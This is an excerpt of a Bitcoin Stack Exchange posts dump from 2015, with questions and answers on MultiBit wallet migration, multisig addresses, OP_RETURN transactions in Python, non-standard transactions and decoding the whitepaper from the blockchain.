  <row Id="35936" PostTypeId="2" ParentId="35933" CreationDate="2015-02-06T19:25:53.293" Score="1" Body="&lt;p&gt;Go to the Menu-&gt;Safety-&gt;Restore wallet and select the backup file and enter the password you encrypted with.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="23123" LastEditDate="2015-02-06T19:43:10.623" LastActivityDate="2015-02-06T19:43:10.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35937" PostTypeId="1" AcceptedAnswerId="35940" CreationDate="2015-02-07T03:35:26.317" Score="0" ViewCount="264" Body="&lt;p&gt;I'm an IT consultant in Australia and I'm pretty green when it comes to BitCoin and wallets and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been contacted by a client with a MacBook Pro that cannot be repaired and he is looking to switch to a Windows laptop.&#xA;He says he has a MultiBit wallet on the Mac which contains all his 'Private Keys'... What I would like to know is if all of this data can be transferred onto a Windows environment with minimal fuss...  Can this be done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also says he has a &quot;bridge&quot; into his &quot;trezor&quot; that he needs as well.  Being an older client, he might not be pronouncing things right or his understanding might not help him convey exactly what he means.  But I'm assuming the &quot;bridge&quot; is some sort of VPN or browser add-in that creates a link between the &quot;trezor&quot; service he's using.&#xA;If I cannot boot the Mac, how would I determine where and what data this is and how to transfer it across to Windows as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="23265" LastActivityDate="2015-02-07T04:34:33.630" Title="Move MultiBit from Mac to Windows" Tags="|wallet|client|multibit|mac|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35938" PostTypeId="1" AcceptedAnswerId="35939" CreationDate="2015-02-07T04:29:45.053" Score="0" ViewCount="2250" Body="&lt;p&gt;Where does MultiBit keep its data directory? What is the wallet inside called?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-02-07T04:36:00.717" Title="Where does MultiBit keep its data directory?" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35939" PostTypeId="2" ParentId="35938" CreationDate="2015-02-07T04:29:45.053" Score="2" Body="&lt;h3&gt;Windows&lt;/h3&gt;&#xA;&lt;p&gt;Type &lt;code&gt;%APPDATA%\MultiBit&lt;/code&gt; into the address bar of File Explorer.&lt;/p&gt;&#xA;&lt;p&gt;If that doesn't work, try&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows XP: &lt;code&gt;C:\Documents and Settings\&amp;lt;your name&amp;gt;\Application Data\Bitcoin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Windows Vista and later: &lt;code&gt;C:\Users\&amp;lt;your name&amp;gt;\Appdata\Roaming\Bitcoin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Mac&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open Finder, then open the Go menu.&lt;/li&gt;&#xA;&lt;li&gt;Click &amp;quot;Go to Folder...&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;~/Library/Application Support/MultiBit&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3&gt;Linux&lt;/h3&gt;&#xA;&lt;p&gt;Open your home directory. Look for the MultiBit folder.&lt;/p&gt;&#xA;&lt;h3&gt;Wallet name&lt;/h3&gt;&#xA;&lt;p&gt;The wallet is always called &lt;code&gt;multibit.wallet&lt;/code&gt;. It's the equivalent of &lt;code&gt;wallet.dat&lt;/code&gt; in Bitcoin-Qt.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-02-07T04:36:00.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35940" PostTypeId="2" ParentId="35937" CreationDate="2015-02-07T04:34:33.630" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What I would like to know is if all of this data can be transferred onto a Windows environment with minimal fuss.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yep. Find &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35938/where-does-multibit-keep-its-data-directory&quot;&gt;the data directory&lt;/a&gt; on the Mac. Copy out multibit.wallet. Install MultiBit on Windows. Find &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35938/where-does-multibit-keep-its-data-directory&quot;&gt;the data directory&lt;/a&gt; on the Windows computer. Copy it there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;He also says he has a &quot;bridge&quot; into his &quot;trezor&quot; that he needs as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;He's probably talking about the Trezor plugin. &lt;a href=&quot;http://doc.satoshilabs.com/trezor-user/settingup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This page&lt;/a&gt; explains how to set that up in the first paragraph.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-02-07T04:34:33.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35943" PostTypeId="1" CreationDate="2015-02-07T22:31:47.620" Score="5" ViewCount="150" Body="&lt;p&gt;When writing an academic style paper where specific bitcoin transactions are used as examples, is there a standard format to &quot;cite&quot; a bitcoin transaction?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what do you think an appropriate format would be?  What data should be included?  What about altcoin chains, what would be different for those chains?&lt;/p&gt;&#xA;" OwnerUserId="13171" LastEditorUserId="5406" LastEditDate="2015-02-08T10:36:03.440" LastActivityDate="2015-02-08T10:36:03.440" Title="Correct Citation Format for a Bitcoin Transaction" Tags="|transactions|address|block|academic-research|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35944" PostTypeId="1" CreationDate="2015-02-08T01:23:42.250" Score="3" ViewCount="718" Body="&lt;p&gt;I have worked through BTCChina's FIX APi (using their java example).  Creating a subscription request message such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static Message marketDataIncrementalRequest(String symbol) {&#xA;    quickfix.fix44.MarketDataRequest tickerRequest = new quickfix.fix44.MarketDataRequest();&#xA;&#xA;    quickfix.fix44.MarketDataRequest.NoRelatedSym noRelatedSym = new quickfix.fix44.MarketDataRequest.NoRelatedSym();&#xA;    noRelatedSym.set(new Symbol(symbol));&#xA;    tickerRequest.addGroup(noRelatedSym);&#xA;&#xA;    tickerRequest.set(new MDReqID(&quot;123&quot;));      &#xA;    tickerRequest.set(new SubscriptionRequestType('1'));&#xA;    tickerRequest.set(new MarketDepth(0));&#xA;&#xA;    addMDType(tickerRequest, '0');&#xA;    addMDType(tickerRequest, '1');&#xA;    addMDType(tickerRequest, '2');&#xA;&#xA;    return tickerRequest;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above message request is documented to provide full orderbook + trades snapshot + incremental refresh.  Unfortunately it just provides top-of-book with no sizes + trades with no size.   I suspect their FIX server implementation is not complete.  The same standard FIX message on OKCoin, works fine, providing full book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative API via websockets provides a call to get depth of book, however, according to documentation only provides 5 levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various real-time OB viewers are showing deeper-than-5 depth, so assume there is an API for this.   Can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="23070" LastActivityDate="2015-11-17T18:45:23.923" Title="How to get BTCChina full Orderbook (FIX or alt API)" Tags="|exchanges|live-data|market-depth|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35945" PostTypeId="2" ParentId="35943" CreationDate="2015-02-08T04:51:23.990" Score="2" Body="&lt;p&gt;There is none that I'm aware of, but technically speaking, the blockchain and the transaction hash would suffice to find it. It might be nice to add the block height number as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tx 35779d11b2c5aedc1ada50aaa33aafb53ccc07dae71e6d18a35a0ccb872a0efa, Bitcoin Block 342508 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would work as a citation.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-08T04:51:23.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35949" PostTypeId="2" ParentId="32672" CreationDate="2015-02-08T15:13:43.130" Score="0" Body="&lt;p&gt;The short answer, albeit a late one, for having two power supplies fully powering a C1 is to examine the &lt;a href=&quot;http://bitcointalk.org/index.php?topic=846095.0&quot; rel=&quot;nofollow&quot;&gt;fat paper clip jumper trick&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-02-08T15:13:43.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35950" PostTypeId="1" CreationDate="2015-02-08T15:17:04.873" Score="2" ViewCount="1500" Body="&lt;p&gt;Does anyone know where breaker boards and cables can be purchased online that provides four PCIe 6-pin connectors to power an Antminer C1 from a server-grade power supply unit (PSU)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: I was watching a Spondoolie SP20 Jackson &lt;a href=&quot;http://www.spondoolies-tech.com/products/holiday-special-sp20-jackson-shipping-from-stock&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt; that showed a server grade power supply and a breaker board that could feed four PCIe connectors. The video got me thinking... I have a couple of high quality 1100 Watt PFE1100-12-054RA 1U server-grade power supplies from canabalizing a dead 1.6 TH/s Cointerra box (was always very unreliable) that would be ashamed to waste. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One PSU's load should be ~94% efficient when powering an Antminer &lt;a href=&quot;https://www.bitmaintech.com/productDetail.htm?pid=00020141016120002527iTkNypAG06C9&quot; rel=&quot;nofollow noreferrer&quot;&gt;C1&lt;/a&gt;. The problem is the so called &quot;breaker boards&quot; in the dead Cointerra box have 4 AWG copper wires that are used to feed Cointerra mining boards. It would be a very messy hack (requires crimping and potentially a fire hazard) to fashion my own cables to connect the Cointerra &quot;breaker board&quot; to 4 PCIe connectors to power an Antminer C1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/auZbQ.jpg&quot; alt=&quot;Canabalized Cointerra Breaker Board&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYSA - The &lt;a href=&quot;http://bitcointalk.org/index.php?topic=846095.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;C1 instructions&lt;/a&gt; showed a fat paperclip trick to have two ATX power supplies to fully power a C1 that provides the short answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32672/how-to-power-the-bitmain-antminer-c1&quot;&gt;How to power the Bitmain Antminer C1?&lt;/a&gt; Don't power your Antminer's using Coolmax products... Two Model:ZX-600 died within 30 days while using a C1's Antminer factory default settings. The C1 even burned up an old Butterfly LAbs (BFL) ATX PSU. This was the impetus for this question. From other Internet postings, it appears that server grade PSU should to be used for Bitmain Antminer products. Also if you ordered a C1 without a SysCooling Kit, use &lt;a href=&quot;http://shop.syscooling.com/goods.php?id=45&quot; rel=&quot;nofollow noreferrer&quot;&gt;SysCooling Kit&lt;/a&gt; to purchase one after the fact. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="5406" LastEditDate="2016-04-02T09:19:30.363" LastActivityDate="2017-01-30T15:19:19.427" Title="Locating Server-Grade PSU-to-PCIe Power Cables for Bitmain Antminers?" Tags="|mining-setup|antminer|psu|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35951" PostTypeId="2" ParentId="4269" CreationDate="2015-02-08T15:19:34.067" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://www.vinumeris.com/lighthouse&quot; rel=&quot;noreferrer&quot;&gt;Lighthouse&lt;/a&gt; is an excellent decentralised crowdfunding app by Mike Hearn (one of the Bitcoin Core / bitcoinj devs).&lt;/p&gt;&#xA;" OwnerUserId="19415" LastActivityDate="2015-02-08T15:19:34.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35952" PostTypeId="2" ParentId="35916" CreationDate="2015-02-08T16:04:38.453" Score="3" Body="&lt;p&gt;TL;DR: Bitcoin Core currently (as of v.0.9.3) does not support spending from a multi signature address even even you create a multi signature address with public keys of addresses inside your wallet. Therefore it does not show the generated multi signature address in the UI or return &quot;ismine:true&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spending from a multisig address requires including the generated &quot;redeem script&quot; within the transaction. Additionally, the raw transaction has to be signed by 2 of the 3 public keys provided to &quot;createmultisig&quot; (also included in the script) in the order they were provided to &quot;createmultisig&quot;. As of now, the wallet does not store these redeem scripts, nor does it know in which order the raw transaction needs to be signed. Because of this, you cannot spend from a Multisig address via the UI. Therefore, it doesn't make sense for Multisig address  to be included within the wallet UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Multisig addresses is still considered an &quot;advanced feature.&quot; Therefore, they don't show up in the UI. This requires understanding what Multisig addresses actually are and how they work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Multisig address is a type of &quot;Pay-to-Script&quot; address. The addresses created using bitcoin-qt create a script like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_x (x = number of required signatures)&#xA;PUSH next 33 bytes&#xA;[33-byte public key (compressed)]&#xA;PUSH next 33 bytes&#xA;[33-byte public key (compressed)]&#xA;...&#xA;OP_y (y = total number of public keys)&#xA;OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script is hashed to create your address. So, since this script is unique to you (your public keys), it does belong to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to spend coins from this address, you have to create a raw transaction that spends from the address and sign it with the private keys that correspond to at least x of the public keys (in the order they were given when creating the address/script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of this spending transaction is the script itself such as the one above (in hex form). This is a required part of the transaction. Of course, the script could be built from the UI, but the UI would have to have to know the exact order the keys were presented to build the original address in order to re-build the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This brings us to the next problem. In the current UI, there is no way to sign a transaction. However, even if you could, the UI would not know (based off the address alone) in which order the transaction must be signed to be valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to alleviate these problems would be to store the script in the client itself, however this might pose a security risk to some degree. If the wallet were to store the address and the script in the wallet, somebody (perhaps malware) that is able to access your wallet would be able to get your private keys as well as the script required to spend from the address -- which is also in your wallet. If you know what you're looking for, it's fairly easy read the script, find the corresponding keys in the wallet and create a transaction to spend the coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least with the current Multisig pains such as manual transaction signing and such there is a layer of obscurity. If you were to send all of your BTC to a Multisig address, an attacker wouldn't be able to just up and run off with all your BTC. They would have to have a few key pieces of information: the original Multisig script (which I don't believe is known until a successful spending transaction has occurred), the private keys, and they'd have to know both the correct private keys and the correct order to sign the spending transaction in. Of course, that's a lot of information that would be needed just to make a successful spending transaction -- none of which (other than the private keys) is actually stored in the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, while it may be difficult to deal with Multisig transactions/addresses in bitcoin-qt, it may be a good thing!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't see why once you've generated a multisig address that it couldn't be added to your receiving addresses. I have a feeling it has to do with the difference between how regular and pay-to-script addresses are generated and the fact that regular addresses use a fixed-width private key, where as a script (which is basically the private key of a Multisig address) is an arbitrary length: 1+(34*num_public_keys)+2.&lt;/p&gt;&#xA;" OwnerUserId="23206" LastEditorUserId="2995" LastEditDate="2015-02-10T20:42:46.827" LastActivityDate="2015-02-10T20:42:46.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35953" PostTypeId="1" CreationDate="2015-02-08T20:04:45.980" Score="0" ViewCount="160" Body="&lt;p&gt;I am currently designing a blockchain based web game, and part of the game is to display data from the blockchain in table format on the site. The data will be updated peroidically, or in short intervals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the table will say for btc address A there have been x transactions sent for a total of y btc. For btc address B etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My query is whether you think I shoukd be running these queries to build a website database using an api call, or running my own copy of the blockchain on the web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="19321" LastActivityDate="2015-02-08T20:15:26.193" Title="blockchain webgame - use api or actual blockchain to build database?" Tags="|blockchain|api|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35954" PostTypeId="2" ParentId="35953" CreationDate="2015-02-08T20:15:26.193" Score="2" Body="&lt;p&gt;Use a third-party API if the correctness or accuracy of the data is not important. When the financial data needs to be accurate, using a third-party API is slightly more dangerous because as an intermediary they can return whatever (possibly tainted) data to your service... selectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally, weigh this against the costs of maintaining an active bitcoind node such as upgrades, sysadmin maintenance, security, etc. There may also be an option regarding simple payment verification if you do not require the entire blockchain.&lt;/p&gt;&#xA;" OwnerUserId="13217" LastActivityDate="2015-02-08T20:15:26.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35956" PostTypeId="1" AcceptedAnswerId="35957" CreationDate="2015-02-09T04:14:52.580" Score="5" ViewCount="979" Body="&lt;p&gt;I've been writing Python code to fetch various transactions and came across this: &lt;a href=&quot;https://blockexplorer.com/rawtx/77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69&quot; rel=&quot;nofollow&quot;&gt;77822fd6663c665104119cb7635352756dfc50da76a92d417ec1a12c518fad69&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script field is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;scriptPubKey: &quot;OP_IF OP_INVALIDOPCODE 4effffffff ........... OP_ENDIF&quot;&lt;/code&gt; (where ..... is the hex data, all ~2900 bytes worth)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What is going on with..?:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;OP_IF&lt;/em&gt; / &lt;em&gt;OP_ENDIF&lt;/em&gt; codes (&lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;wiki says&lt;/a&gt; they correctly open and finish a script)&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;OP_INVALIDOPCODE&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;0x4effffffff&lt;/em&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the HUGE data size of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  `&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which decodes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c ♣N    Mú♣From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001&#xA;From: Satoshi Nakamoto &amp;lt;satoshin@gmx.com&amp;gt;&#xA;Date: Mon, 12 Aug 2013 02:28:02 -0200&#xA;Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE&#xA;&#xA;I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83&#xA;in Sept 7 2010, almost three years ago. Be warned that I have not&#xA;actually tested this patch.&#xA;---&#xA; backends/bitcoind/deserialize.py |    8 +-------&#xA; 1 file changed, 1 insertion(+), 7 deletions(-)&#xA;&#xA;diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py&#xA;index 6620583..89b9b1b 100644&#xA;--- a/backends/bitcoind/deserialize.py&#xA;+++ b/backends/bitcoind/deserialize.py&#xA;@@ -280,10 +280,8 @@ opcodes = Enumeration(&quot;Opcodes&quot;, [&#xA;     &quot;OP_WITHIN&quot;, &quot;OP_RIPEMD160&quot;, &quot;OP_SHA1&quot;, &quot;OP_SHA256&quot;, &quot;OP_HASH160&quot;,&#xA;     &quot;OP_HASH256&quot;, &quot;OP_CODESEPARATOR&quot;, &quot;OP_CHECKSIG&quot;, &quot;OP_CHECKSIGVERIFY&quot;, &quot;OP_CHECKMULTISIG&quot;,&#xA;     &quot;OP_CHECKMULTISIGVERIFY&quot;,&#xA;-    (&quot;OP_SINGLEBYTE_END&quot;, 0xF0),&#xA;-    (&quot;OP_DOUBLEBYTE_BEGIN&quot;, 0xF000),&#xA;     &quot;OP_PUBKEY&quot;, &quot;OP_PUBKEYHASH&quot;,&#xA;-    (&quot;OP_INVALIDOPCODE&quot;, 0xFFFF),&#xA;+    (&quot;OP_INVALIDOPCODE&quot;, 0xFF),&#xA; ])&#xA;&#xA;&#xA;@@ -293,10 +291,6 @@ def script_GetOp(bytes):&#xA;         vch = None&#xA;         opcode = ord(bytes[i])&#xA;         i += 1&#xA;-        if opcode &amp;gt;= opcodes.OP_SINGLEBYTE_END and i &amp;lt; len(bytes):&#xA;-            opcode &amp;lt;&amp;lt;= 8&#xA;-            opcode |= ord(bytes[i])&#xA;-            i += 1&#xA;&#xA;         if opcode &amp;lt;= opcodes.OP_PUSHDATA4:&#xA;             nSize = opcode&#xA;--&#xA;1.7.9.4&#xA;&#xA;h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are there other non-standard transaction examples which are similarly noteworthy&lt;/strong&gt;? To be clear, the hidden code is fun, but I'm looking for non-standard usage of &lt;em&gt;OP_CODE&lt;/em&gt;s in Txns which have preferably been accepted as well formatted.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-02-13T13:51:58.220" LastActivityDate="2015-03-21T04:42:24.207" Title="Non standard Tx with obscure OP codes: examples" Tags="|blockchain|protocol|script|raw-data|blockexplorer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35957" PostTypeId="2" ParentId="35956" CreationDate="2015-02-09T05:29:12.440" Score="2" Body="&lt;p&gt;There has been discussion about this particular transaction before on &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1k7ol2/an_interesting_transaction/&quot; rel=&quot;nofollow&quot;&gt;reddit&lt;/a&gt;. This is clearly not a valid transaction and was probably used to store data on the blockchain before OP_RETURN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why was it relayed? It may not have been. There's a very easy way to get a transaction like this included and it's by submitting the transaction directly to a mining pool like &lt;a href=&quot;http://eligius.st/~gateway/faq/transaction-processing&quot; rel=&quot;nofollow&quot;&gt;eligius&lt;/a&gt;. As long as you add a high enough fee, they will process valid, but non-standard transactions.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-09T05:29:12.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35958" PostTypeId="1" CreationDate="2015-02-09T06:41:39.100" Score="5" ViewCount="3848" Body="&lt;p&gt;Currently trying to figure out how to use Python to construct a transaction with OP_RETURN. I tried to encode the message myself, and had no luck. I found a function, OPReturn(), on the internet, but when I attempt to use it, I get the error (from the Blockchain.info broadcast API): &lt;code&gt;Exception: None Standard Script Output OP_RETURN 594f4c4f53574147&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# coding: utf-8&#xA;&#xA;from bitcoin import *&#xA;import binascii&#xA;from test import *&#xA;&#xA;&#xA;priv = sha256('brain wallet')&#xA;&#xA;pub = privtopub(priv)&#xA;&#xA;addr = pubtoaddr(pub)&#xA;&#xA;inputs = unspent(addr)&#xA;&#xA;message = &quot;YOLOSWAG&quot;&#xA;FullLen = format(len(message)+2,'x').rjust(2,'0')&#xA;MessageLen = format(len(message),'x').rjust(2,'0')&#xA;ID = binascii.hexlify(str(message))&#xA;snd = &quot;6a&quot;+MessageLen+ID&#xA;&#xA;outputs = [{'value': 50000, 'address': addr}, {'value': 0, 'script': snd}]&#xA;&#xA;fee = 10000&#xA;&#xA;tx = mksend(inputs, outputs, addr, fee)&#xA;&#xA;dt = deserialize(tx)&#xA;ins = dt['ins']&#xA;&#xA;#print addr&#xA;#print ins&#xA;&#xA;&#xA;for ind, elm in enumerate(ins):&#xA;    print elm&#xA;    tx = sign(tx, ind, priv)&#xA;&#xA;#print tx&#xA;&#xA;&#xA;&#xA;print(pushtx(tx))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23283" LastEditorUserId="23283" LastEditDate="2015-02-10T07:02:30.090" LastActivityDate="2017-06-22T20:47:39.837" Title="How do I compose a transaction with OP_RETURN in Python?" Tags="|transactions|blockchain|protocol|network|op-return|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35959" PostTypeId="1" AcceptedAnswerId="35970" CreationDate="2015-02-09T08:51:45.377" Score="33" ViewCount="12568" Body="&lt;p&gt;The whitepaper is apparently encoded at &lt;a href=&quot;https://mempool.space/tx/54e48e5f5c656b26c3bca14a8c95aa583d07ebe84dde3b7dd4a78f4e4186e713&quot; rel=&quot;nofollow noreferrer&quot;&gt;54e48e5f5c656b26c3bca14a8c95aa583d07ebe84dde3b7dd4a78f4e4186e713&lt;/a&gt;, which is an &lt;em&gt;m of n multisig&lt;/em&gt; Tx with &lt;strong&gt;947 outputs&lt;/strong&gt; (just under the scriptsig limit of 20kB!).&lt;/p&gt;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://github.com/blocktrail/blocktrail-sdk-python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blocktrail Python SDK&lt;/a&gt;, I get a list of the outputs as hex using the following Python (2.7) code (NB, the &lt;em&gt;APIKEY&lt;/em&gt;, &lt;em&gt;APISECRET&lt;/em&gt; parameters are available if required from &lt;a href=&quot;http://www.blocktrail.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.blocktrail.com&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from blocktrail import APIClient&#xA;bt_client = APIClient(APIKEY, APISECRET, network='BTC')&#xA;txnObj = bt_client.transaction('54e48e5f5c656b26c3bca14a8c95aa583d07ebe84dde3b7dd4a78f4e4186e713')&#xA;hashes = [(t['script_hex']) for t in (txnObj)['outputs']]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The resulting list is available &lt;a href=&quot;https://gist.github.com/406e53c06488e8305be3&quot; rel=&quot;nofollow noreferrer&quot;&gt;here in full&lt;/a&gt; and is essentially all pay-to-pubkey-script Txns. An excerpt:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[u'5141e4cf0200067daf13255044462d312e340a25c3a4c3bcc3b6c39f0a322030206f626a0a3c3c2f4c656e6774682033203020522f46696c7465722f466c617465446541636f64653e3e0a73747265616d0a789cad5c4b8b24b911becfafa8b3a1da292925654253d0d55373f06d61c007e39bbd061f0cde8bffbe25c55b5266f61ab3905d419ba54728e28bb76a963777fbcfb77fdf96db7d291f93f3e599f7fafcedefb73fffe1f6aff665fdefb77f7c7bfefce6c2fa166e695bdfd6dbcfbfddfef8c3dd5cf953ae',&#xA;.....&#xA;u'514130206e200a30303030313832353430203030303030206e200a747261696c65720a3c3c2f53697a652036382f526f6f74203636203020520a2f496e666f20363720413020520a2f4944205b203c43413142304134344244353432343533424546393138464643443436444330343e0a3c4341314230413434424435343234353342454641393138464643443436444330343e205d0a2f446f63436865636b73756d202f36463732454137353134444641443233464142434337413535303032314146370a3e53ae',&#xA; u'51213e0a7374617274787265660a3138323732370a2525454f460a000000000000000051ae',&#xA; u'76a91462e907b15cbf27d5425399ebf6f0fb50ebb88f1888ac',&#xA; u'76a914031c79236ff3017496cf8d9a883f494458f245f288ac']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION:&lt;/strong&gt; How is this array of hex data parsed into the &lt;a href=&quot;http://www.bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.pdf&lt;/a&gt;? Specific Python framed answers would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="121614" LastEditDate="2023-11-13T10:43:50.317" LastActivityDate="2023-11-13T10:43:50.317" Title="How is the whitepaper decoded from the blockchain (Tx with ~1000x m of n multisig outputs)" Tags="|blockchain|python|raw-data|whitepaper|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
